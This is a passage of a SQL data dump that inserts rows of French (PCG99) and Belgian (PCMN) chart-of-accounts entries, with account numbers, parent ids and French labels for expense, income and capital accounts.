marchandises)',NULL,2,NULL,NULL,1,0,NULL,NULL),(326,1,NULL,'2022-12-29 18:13:02','PCG99-BASE','EXPENSE','604',322,'Achats stockés - Matières premières (et fournitures)',NULL,2,NULL,NULL,1,0,NULL,NULL),(327,1,NULL,'2022-12-29 18:13:02','PCG99-BASE','EXPENSE','605',322,'Achats de matériel, équipements et travaux',NULL,2,NULL,NULL,1,0,NULL,NULL),(328,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','606',322,'Achats non stockés de matière et fournitures',NULL,0,NULL,NULL,1,0,NULL,NULL),(329,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','607',322,'Achats de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(330,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','608',322,'(Compte réservé, le cas échéant, à la récapitulation des frais accessoires incorporés aux achats)',NULL,0,NULL,NULL,1,0,NULL,NULL),(331,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','609',322,'Rabais, remises et ristournes obtenus sur achats',NULL,0,NULL,NULL,1,0,NULL,NULL),(332,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','61',1506,'Services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(333,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','611',332,'Sous-traitance générale',NULL,0,NULL,NULL,1,0,NULL,NULL),(334,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','612',332,'Redevances de crédit-bail',NULL,0,NULL,NULL,1,0,NULL,NULL),(335,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','613',332,'Locations',NULL,0,NULL,NULL,1,0,NULL,NULL),(336,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','614',332,'Charges locatives et de copropriété',NULL,0,NULL,NULL,1,0,NULL,NULL),(337,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','615',332,'Entretien et réparations',NULL,0,NULL,NULL,1,0,NULL,NULL),(338,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','616',332,'Primes d\'assurances',NULL,0,NULL,NULL,1,0,NULL,NULL),(339,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','617',332,'Etudes et recherches',NULL,0,NULL,NULL,1,0,NULL,NULL),(340,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','618',332,'Divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(341,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','619',332,'Rabais, remises et ristournes obtenus sur services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(342,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','62',1506,'Autres services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(343,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','621',342,'Personnel extérieur à l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(344,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','622',342,'Rémunérations d\'intermédiaires et honoraires',NULL,0,NULL,NULL,1,0,NULL,NULL),(345,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','623',342,'Publicité, publications, relations publiques',NULL,0,NULL,NULL,1,0,NULL,NULL),(346,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','624',342,'Transports de biens et transports collectifs du personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(347,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','625',342,'Déplacements, missions et réceptions',NULL,0,NULL,NULL,1,0,NULL,NULL),(348,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','626',342,'Frais postaux et de télécommunications',NULL,0,NULL,NULL,1,0,NULL,NULL),(349,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','627',342,'Services bancaires et assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(350,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','628',342,'Divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(351,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','629',342,'Rabais, remises et ristournes obtenus sur autres services extérieurs',NULL,0,NULL,NULL,1,0,NULL,NULL),(352,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','63',1506,'Impôts, taxes et versements assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(353,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','631',352,'Impôts, taxes et versements assimilés sur rémunérations (administrations des impôts)',NULL,0,NULL,NULL,1,0,NULL,NULL),(354,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','633',352,'Impôts, taxes et versements assimilés sur rémunérations (autres organismes)',NULL,0,NULL,NULL,1,0,NULL,NULL),(355,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','635',352,'Autres impôts, taxes et versements assimilés (administrations des impôts)',NULL,0,NULL,NULL,1,0,NULL,NULL),(356,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','637',352,'Autres impôts, taxes et versements assimilés (autres organismes)',NULL,0,NULL,NULL,1,0,NULL,NULL),(357,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','64',1506,'Charges de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(358,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','641',357,'Rémunérations du personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(359,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','644',357,'Rémunération du travail de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(360,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','645',357,'Charges de sécurité sociale et de prévoyance',NULL,0,NULL,NULL,1,0,NULL,NULL),(361,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','646',357,'Cotisations sociales personnelles de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(362,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','647',357,'Autres charges sociales',NULL,0,NULL,NULL,1,0,NULL,NULL),(363,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','648',357,'Autres charges de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(364,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','65',1506,'Autres charges de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(365,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','651',364,'Redevances pour concessions, brevets, licences, marques, procédés, logiciels, droits et valeurs similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(366,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','653',364,'Jetons de présence',NULL,0,NULL,NULL,1,0,NULL,NULL),(367,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','654',364,'Pertes sur créances irrécouvrables',NULL,0,NULL,NULL,1,0,NULL,NULL),(368,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','655',364,'Quote-part de résultat sur opérations faites en commun',NULL,0,NULL,NULL,1,0,NULL,NULL),(369,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','658',364,'Charges diverses de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(370,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','66',1506,'Charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(371,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','661',370,'Charges d\'intérêts',NULL,0,NULL,NULL,1,0,NULL,NULL),(372,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','664',370,'Pertes sur créances liées à des participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(373,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','665',370,'Escomptes accordés',NULL,0,NULL,NULL,1,0,NULL,NULL),(374,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','666',370,'Pertes de change',NULL,0,NULL,NULL,1,0,NULL,NULL),(375,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','667',370,'Charges nettes sur cessions de valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(376,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','668',370,'Autres charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(377,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','67',1506,'Charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(378,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','671',377,'Charges exceptionnelles sur opérations de gestion',NULL,0,NULL,NULL,1,0,NULL,NULL),(379,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','672',377,'(Compte à la disposition des entités pour enregistrer, en cours d\'exercice, les charges sur exercices antérieurs)',NULL,0,NULL,NULL,1,0,NULL,NULL),(380,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','675',377,'Valeurs comptables des éléments d\'actif cédés',NULL,0,NULL,NULL,1,0,NULL,NULL),(381,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','678',377,'Autres charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(382,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','68',1506,'Dotations aux amortissements et aux provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(383,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','681',382,'Dotations aux amortissements et aux provisions - Charges d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(384,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','686',382,'Dotations aux amortissements et aux provisions - Charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(385,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','687',382,'Dotations aux amortissements et aux provisions - Charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(386,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','69',1506,'Participation des salariés - impôts sur les bénéfices et assimiles',NULL,0,NULL,NULL,1,0,NULL,NULL),(387,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','691',386,'Participation des salariés aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(388,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','695',386,'Impôts sur les bénéfices',NULL,0,NULL,NULL,1,0,NULL,NULL),(389,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','696',386,'Suppléments d\'impôt sur les sociétés liés aux distributions',NULL,0,NULL,NULL,1,0,NULL,NULL),(390,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','697',386,'Imposition forfaitaire annuelle des sociétés',NULL,0,NULL,NULL,1,0,NULL,NULL),(391,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','698',386,'Intégration fiscale',NULL,0,NULL,NULL,1,0,NULL,NULL),(392,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','EXPENSE','699',386,'Produits - Reports en arrière des déficits',NULL,0,NULL,NULL,1,0,NULL,NULL),(393,1,NULL,'2022-12-29 18:23:41','PCG99-BASE','INCOME','70',1507,'Ventes de produits fabriqués, prestations de services, marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(394,1,NULL,'2022-12-29 18:23:42','PCG99-BASE','INCOME','701',393,'Ventes de produits finis',NULL,0,NULL,NULL,1,0,NULL,NULL),(395,1,NULL,'2022-12-29 18:23:43','PCG99-BASE','INCOME','702',393,'Ventes de produits intermédiaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(396,1,NULL,'2022-12-29 18:23:44','PCG99-BASE','INCOME','703',393,'Ventes de produits résiduels',NULL,0,NULL,NULL,1,0,NULL,NULL),(397,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','704',393,'Travaux',NULL,0,NULL,NULL,1,0,NULL,NULL),(398,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','705',393,'Etudes',NULL,0,NULL,NULL,1,0,NULL,NULL),(399,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','706',393,'Prestations de services',NULL,0,NULL,NULL,1,0,NULL,NULL),(400,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','707',393,'Ventes de marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(401,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','708',393,'Produits des activités annexes',NULL,0,NULL,NULL,1,0,NULL,NULL),(402,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','709',393,'Rabais, remises et ristournes accordés par l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(403,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','71',1507,'Production stockée (ou déstockage)',NULL,0,NULL,NULL,1,0,NULL,NULL),(404,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','713',403,'Variation des stocks (en-cours de production, produits)',NULL,0,NULL,NULL,1,0,NULL,NULL),(405,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','72',1507,'Production immobilisée',NULL,0,NULL,NULL,1,0,NULL,NULL),(406,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','721',405,'Immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(407,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','722',405,'Immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(408,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','74',1507,'Subventions d\'exploitation',NULL,0,NULL,NULL,1,0,NULL,NULL),(409,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','75',1507,'Autres produits de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(410,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','751',409,'Redevances pour concessions, brevets, licences, marques, procédés, logiciels, droits et valeurs similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(411,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','752',409,'Revenus des immeubles non affectés à des activités professionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(412,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','753',409,'Jetons de présence et rémunérations d\'administrateurs, gérants,...',NULL,0,NULL,NULL,1,0,NULL,NULL),(413,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','754',409,'Ristournes perçues des coopératives (provenant des excédents)',NULL,0,NULL,NULL,1,0,NULL,NULL),(414,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','755',409,'Quotes-parts de résultat sur opérations faites en commun',NULL,0,NULL,NULL,1,0,NULL,NULL),(415,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','758',409,'Produits divers de gestion courante',NULL,0,NULL,NULL,1,0,NULL,NULL),(416,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','76',1507,'Produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(417,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','761',416,'Produits de participations',NULL,0,NULL,NULL,1,0,NULL,NULL),(418,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','762',416,'Produits des autres immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(419,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','763',416,'Revenus des autres créances',NULL,0,NULL,NULL,1,0,NULL,NULL),(420,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','764',416,'Revenus des valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(421,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','765',416,'Escomptes obtenus',NULL,0,NULL,NULL,1,0,NULL,NULL),(422,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','766',416,'Gains de change',NULL,0,NULL,NULL,1,0,NULL,NULL),(423,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','767',416,'Produits nets sur cessions de valeurs mobilières de placement',NULL,0,NULL,NULL,1,0,NULL,NULL),(424,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','768',416,'Autres produits financiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(425,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','77',1507,'Produits exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(426,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','771',425,'Produits exceptionnels sur opérations de gestion',NULL,0,NULL,NULL,1,0,NULL,NULL),(427,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','772',425,'(Compte à la disposition des entités pour enregistrer, en cours d\'exercice, les produits sur exercices antérieurs)',NULL,0,NULL,NULL,1,0,NULL,NULL),(428,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','775',425,'Produits des cessions d\'éléments d\'actif',NULL,0,NULL,NULL,1,0,NULL,NULL),(429,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','777',425,'Quote-part des subventions d\'investissement virée au résultat de l\'exercice',NULL,0,NULL,NULL,1,0,NULL,NULL),(430,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','778',425,'Autres produits exceptionnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(431,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','78',1507,'Reprises sur amortissements et provisions',NULL,0,NULL,NULL,1,0,NULL,NULL),(432,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','781',431,'Reprises sur amortissements et provisions (à inscrire dans les produits d\'exploitation)',NULL,0,NULL,NULL,1,0,NULL,NULL),(433,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','786',431,'Reprises sur provisions pour risques (à inscrire dans les produits financiers)',NULL,0,NULL,NULL,1,0,NULL,NULL),(434,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','787',431,'Reprises sur provisions (à inscrire dans les produits exceptionnels)',NULL,0,NULL,NULL,1,0,NULL,NULL),(435,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','79',1507,'Transferts de charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(436,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','791',435,'Transferts de charges d\'exploitation ',NULL,0,NULL,NULL,1,0,NULL,NULL),(437,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','796',435,'Transferts de charges financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(438,1,NULL,'2018-01-19 11:17:49','PCG99-BASE','INCOME','797',435,'Transferts de charges exceptionnelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(439,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','10',1351,'Capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(440,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','100',439,'Capital souscrit ou capital personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(441,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1000',440,'Capital non amorti',NULL,0,NULL,NULL,1,0,NULL,NULL),(442,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1001',440,'Capital amorti',NULL,0,NULL,NULL,1,0,NULL,NULL),(443,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','101',439,'Capital non appelé',NULL,0,NULL,NULL,1,0,NULL,NULL),(444,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','109',439,'Compte de l\'exploitant',NULL,0,NULL,NULL,1,0,NULL,NULL),(445,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1090',444,'Opérations courantes',NULL,0,NULL,NULL,1,0,NULL,NULL),(446,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1091',444,'Impôts personnels',NULL,0,NULL,NULL,1,0,NULL,NULL),(447,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1092',444,'Rémunérations et autres avantages',NULL,0,NULL,NULL,1,0,NULL,NULL),(448,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','11',1351,'Primes d\'émission',NULL,0,NULL,NULL,1,0,NULL,NULL),(449,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','12',1351,'Plus-values de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(450,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','120',449,'Plus-values de réévaluation sur immobilisations incorporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(451,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1200',450,'Plus-values de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(452,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1201',450,'Reprises de réductions de valeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(453,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','121',449,'Plus-values de réévaluation sur immobilisations corporelles',NULL,0,NULL,NULL,1,0,NULL,NULL),(454,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1210',453,'Plus-values de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(455,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1211',453,'Reprises de réductions de valeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(456,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','122',449,'Plus-values de réévaluation sur immobilisations financières',NULL,0,NULL,NULL,1,0,NULL,NULL),(457,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1220',456,'Plus-values de réévaluation',NULL,0,NULL,NULL,1,0,NULL,NULL),(458,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1221',456,'Reprises de réductions de valeur',NULL,0,NULL,NULL,1,0,NULL,NULL),(459,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','123',449,'Plus-values de réévaluation sur stocks',NULL,0,NULL,NULL,1,0,NULL,NULL),(460,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','124',449,'Reprises de réductions de valeur sur placements de trésorerie',NULL,0,NULL,NULL,1,0,NULL,NULL),(461,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','13',1351,'Réserve',NULL,0,NULL,NULL,1,0,NULL,NULL),(462,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','130',461,'Réserve légale',NULL,0,NULL,NULL,1,0,NULL,NULL),(463,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','131',461,'Réserves indisponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(464,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1310',463,'Réserve pour actions propres',NULL,0,NULL,NULL,1,0,NULL,NULL),(465,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1311',463,'Autres réserves indisponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(466,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','132',461,'Réserves immunisées',NULL,0,NULL,NULL,1,0,NULL,NULL),(467,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','133',461,'Réserves disponibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(468,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1330',467,'Réserve pour régularisation de dividendes',NULL,0,NULL,NULL,1,0,NULL,NULL),(469,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1331',467,'Réserve pour renouvellement des immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(470,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1332',467,'Réserve pour installations en faveur du personnel 1333 Réserves libres',NULL,0,NULL,NULL,1,0,NULL,NULL),(471,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','14',1351,'Bénéfice reporté (ou perte reportée)',NULL,0,NULL,NULL,1,0,NULL,NULL),(472,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','15',1351,'Subsides en capital',NULL,0,NULL,NULL,1,0,NULL,NULL),(473,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','150',472,'Montants obtenus',NULL,0,NULL,NULL,1,0,NULL,NULL),(474,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','151',472,'Montants transférés aux résultats',NULL,0,NULL,NULL,1,0,NULL,NULL),(475,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','16',1351,'Provisions pour risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(476,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','160',475,'Provisions pour pensions et obligations similaires',NULL,0,NULL,NULL,1,0,NULL,NULL),(477,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','161',475,'Provisions pour charges fiscales',NULL,0,NULL,NULL,1,0,NULL,NULL),(478,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','162',475,'Provisions pour grosses réparations et gros entretiens',NULL,0,NULL,NULL,1,0,NULL,NULL),(479,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','163',475,'à 169 Provisions pour autres risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(480,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','164',475,'Provisions pour sûretés personnelles ou réelles constituées à l\'appui de dettes et d\'engagements de tiers',NULL,0,NULL,NULL,1,0,NULL,NULL),(481,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','165',475,'Provisions pour engagements relatifs à l\'acquisition ou à la cession d\'immobilisations',NULL,0,NULL,NULL,1,0,NULL,NULL),(482,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','166',475,'Provisions pour exécution de commandes passées ou reçues',NULL,0,NULL,NULL,1,0,NULL,NULL),(483,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','167',475,'Provisions pour positions et marchés à terme en devises ou positions et marchés à terme en marchandises',NULL,0,NULL,NULL,1,0,NULL,NULL),(484,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','168',475,'Provisions pour garanties techniques attachées aux ventes et prestations déjà effectuées par l\'entreprise',NULL,0,NULL,NULL,1,0,NULL,NULL),(485,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','169',475,'Provisions pour autres risques et charges',NULL,0,NULL,NULL,1,0,NULL,NULL),(486,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1690',485,'Pour litiges en cours',NULL,0,NULL,NULL,1,0,NULL,NULL),(487,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1691',485,'Pour amendes, doubles droits et pénalités',NULL,0,NULL,NULL,1,0,NULL,NULL),(488,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1692',485,'Pour propre assureur',NULL,0,NULL,NULL,1,0,NULL,NULL),(489,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1693',485,'Pour risques inhérents aux opérations de crédits à moyen ou long terme',NULL,0,NULL,NULL,1,0,NULL,NULL),(490,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1695',485,'Provision pour charge de liquidation',NULL,0,NULL,NULL,1,0,NULL,NULL),(491,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1696',485,'Provision pour départ de personnel',NULL,0,NULL,NULL,1,0,NULL,NULL),(492,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1699',485,'Pour risques divers',NULL,0,NULL,NULL,1,0,NULL,NULL),(493,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','17',1351,'Dettes à plus d\'un an',NULL,0,NULL,NULL,1,0,NULL,NULL),(494,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','170',493,'Emprunts subordonnés',NULL,0,NULL,NULL,1,0,NULL,NULL),(495,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1700',494,'Convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(496,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1701',494,'Non convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(497,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','171',493,'Emprunts obligataires non subordonnés',NULL,0,NULL,NULL,1,0,NULL,NULL),(498,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1710',498,'Convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(499,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','1711',498,'Non convertibles',NULL,0,NULL,NULL,1,0,NULL,NULL),(500,1,NULL,'2018-01-22 17:28:15','PCMN-BASE','CAPIT','172',493,'Dettes de location-financement et assimilés',NULL,0,NULL,NULL,1,0,NULL,NULL),(501,1,NULL,'2018-01-22 